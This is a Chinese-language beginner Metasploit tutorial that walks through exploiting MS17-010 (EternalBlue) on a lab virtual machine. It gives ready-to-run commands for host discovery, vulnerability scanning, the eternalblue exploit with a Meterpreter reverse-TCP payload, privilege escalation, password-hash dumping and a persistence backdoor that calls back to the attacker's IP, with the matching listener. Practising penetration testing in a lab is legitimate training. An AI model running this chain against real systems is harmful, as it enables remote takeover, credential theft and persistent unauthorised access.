免责声明
本教程仅供教育和研究目的,请在合法授权下使用。所有操作必须在自己的测试环境中进行,严禁对未授权系统实施攻击。作者不对任何因使用本内容导致的后果负责。使用者须遵守相关法律法规。
引言
那么从今天开始我将每天发布一个使用 MSF 的练习,这些练习不会很难,供初学者练手使用,仅需有一定在Linux 基础即可学习,成为一名合格的脚本小子。
作为第一篇文章,我觉得我有必要简洁的介绍一下我们使用的 MSF,之后的文章中不会有了。
什么是 MSF?
Metasploit Framework 是一个开源的渗透测试框架,它集成了大量的漏洞利用模块、辅助模块和后渗透工具,帮助安全人员测试系统的安全性。简单来说,它就像是一个"黑客工具箱",里面装满了各种测试工具,常被简称为 MSF。
MSF 的主要组件:
-
msfconsole:主控制台,我们主要在这里操作
-
模块(Modules):
Exploits: 漏洞利用程序
Payloads: 载荷,成功利用漏洞后在目标上执行的代码
Auxiliary: 辅助模块,如扫描器
Post: 后渗透模块,获取访问权限后使用
基本使用方法
1. 启动 MSF
打开 Kali 终端,输入
sudo msfconsole
当你看到 MSF 的启动画面时,说明已经成功进入了MSF 控制台。
2. 基本命令
首先让我们了解一些基本命令:
help # 显示帮助信息
search 关键词 # 搜索相关模块
info 模块名称 # 查看模块详细信息
use 模块路径 # 使用指定模块
show options # 显示当前模块需要设置的选项
set 选项 参数 # 设置模块选项参数
run # 执行当前模块
如,假如你想搜寻 Windows 相关漏洞:
search windows
也可进行筛选缩小范围:
search type:exploit platform:windows
3. MSF 使用流程
MSF 的操作极其简单,只有三个步骤:选择模块,设置模块参数,执行模块,也就是 use set run 打一套组合拳。
MS17-010(永恒之蓝)漏洞介绍
1. 漏洞概述
MS17-010,通常被称为“永恒之蓝”(EternalBlue),是一个影响 Windows 系统 SMB(服务器消息块)服务的严重安全漏洞。它于 2017 年 3 月 14 日被微软正式披露并发布补丁,但在 2017 年 5 月被用于全球范围内的 WannaCry 勒索软件攻击后才真正引起全世界的注意。
2. 漏洞本质
-
类型:SMB 协议中的远程代码执行漏洞(RCE)
-
CVE编号:CVE-2017-0143 至 CVE-2017-0148
-
影响组件:Windows SMB
3. 原理
永恒之蓝漏洞利用了 Windows SMB v1 协议处理特定请求的缺陷:
-
攻击者向 SMB 服务发送特制的数据包
-
这些数据包触发 SMB 服务中的缓冲区溢出
-
溢出允许攻击者在目标系统上执行任意代码
-
由于 SMB 服务通常以 SYSTEM 权限运行,攻击者可直接获得系统最高权限
4. 受影响系统
-
Windows XP
-
Windows Vista
-
Windows 7
-
Windows 8/8.1
-
Windows 10(早期版本)
-
Windows Server 2003
-
Windows Server 2008/2008 R2
-
Windows Server 2012/2012 R2
-
Windows Server 2016(早期版本)
5. 严重性
-
CVSS评分:9.3(严重)
-
攻击向量:网络
-
攻击复杂度:低
-
特权要求:无需任何权限
-
用户交互:无需用户交互
漏洞注入
1. 信息收集
首先,我们既然要打靶机 ,必须需要知道它的 IP 地址,则可以调用 arp_sweep 模块(ARP 是地址解析协议,用于将 IP 地址映射到 MAC 地址),它可以用于发现同一网络中的活跃主机,首先搜索该模块:
search arp_sweep
可以看到该模块的路径,可以直接复制该路径使用模块:
use auxiliary/scanner/discovery/arp_sweep
也可以使用模块编号,也就是 # 那列的序号:
use 0
这时候就可以用 show options 查看模块需要设置的选项了:
show options
可以看到,Required 列为 yes 的为必须设置的选项,在 Current Setting 列已经有值的为系统设置的默认值,我们暂时不用改它,可以看到 RHOSTS 为空,且 Required 为 yes,那么我们要设置它:
set RHOSTS 192.168.206.0/24
RHOSTS 是“Remote Hosts”的缩写,表示目标主机。这条命令会扫描整个 192.168.206.0 到 192.168.206.255 范围内的所有主机。你需要根据你的网段来调整这个值,如果不知道自己所处的网段,使用 ifconfig 即可查看,此为 Linux 基础不再赘述。
接着执行:
run
可以看到靶机的 IP 地址为 192.168.206.133(剩下两个 IP 都是 VMware 的默认配置)。
2. 漏洞扫描
锁定靶机 IP 后,我们需要确认它是否存在 MS17-010 漏洞:
use auxiliary/scanner/smb/smb_ms17_010
这个模块专门检测 MS17-010 漏洞,自己进行渗透测试时,可以使用 search 找到该模块,不需要背路径。
设置靶机 IP(此处省略了 show options 的过程):
set RHOSTS 192.168.206.133
可以看到,显示“Host is likely VULNERABLE to MS17-010!”证明该靶机极大可能存在 MS17-010 漏洞。
3. 漏洞利用
确认靶机存在漏洞后,我们已经可以尝试利用它,此处依然省略 search 过程:
use exploit/windows/smb/ms17_010_eternalblue
我们使用 show options 查看该模块需要设置的选项:
可以看到,绝大多数参数都有默认值,我们只需设置 RHOSTS,也就是刚刚查询到的靶机 IP 即可。
set RHOSTS 192.168.206.133
这里的载荷也被设置好了,使用的是“windows/x64/meterpreter/reverse_tcp”该路径代表:
-
windows:目标操作系统平台
-
x64:64 位架构
-
meterpreter:高级后渗透工具,提供交互式shell
-
reverse_tcp:连接方式,通过 TCP 协议反向连接回攻击者
若未设置,可使用:
set PAYLOAD windows/x64/meterpreter/reverse_tcp
本机的 IP 和端口号(用于接收反向连接)已经被默认设置好了,若需要更改端口号也可以使用:
set LPORT XXXXX
这将会把接收端口号设置为 xxxxx(替换为你想设置的闲置端口号)。
设置好后,直接执行:
run
4. Meterpreter 会话
如果攻击成功,你会获得一个 Meterpreter 会话。也就是我们刚刚设置的 Payload。
在该会话中,你可以执行:
getuid
这会显示我们在靶机中的用户权限,如果显示“NT AUTHORITY\SYSTEM”表示已获得系统最高权限。
可以使用 sysinfo 查看靶机系统的操作系统版本、计算机名等信息。
5. 提权
若没有获得 SYSTEM 权限,你可以尝试提权:
getsystem
这个命令会尝试多种方法自动获取 SYSTEM 权限。
我们也可以获取系统中的密码哈希:
run post/windows/gather/smart_hashdump
在已建立的 Meterpreter 会话中,可以直接使用 run 命令执行各种后渗透模块,不需要提前 use set。
run 模块名称 参数1 参数2 参数3
6. 后门植入
为了在将来能够重新连接到目标,我们可以植入后门:
run persistence -X -i 30 -p 4444 -r 192.168.206.129
调用 persistence 模块,用于建立持久化连接。
可选项参数解释:
-
-X:在系统启动时运行
-
-i 30:每 30 秒尝试连接一次
-
-p 4444:替换为你的闲置端口号
-
-r 192.168.206.129:替换为你的 IP 地址
之后我们设置一个监听器等待连接即可:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.206.129
set LPORT 4444
run -j
此处 -j 可选项为后台执行。
执行后,当目标系统启动并运行持久化模块时,它会尝试连接回你的机器,我们将获得一个新的 Meterpreter 会话。
总结
懒得写了。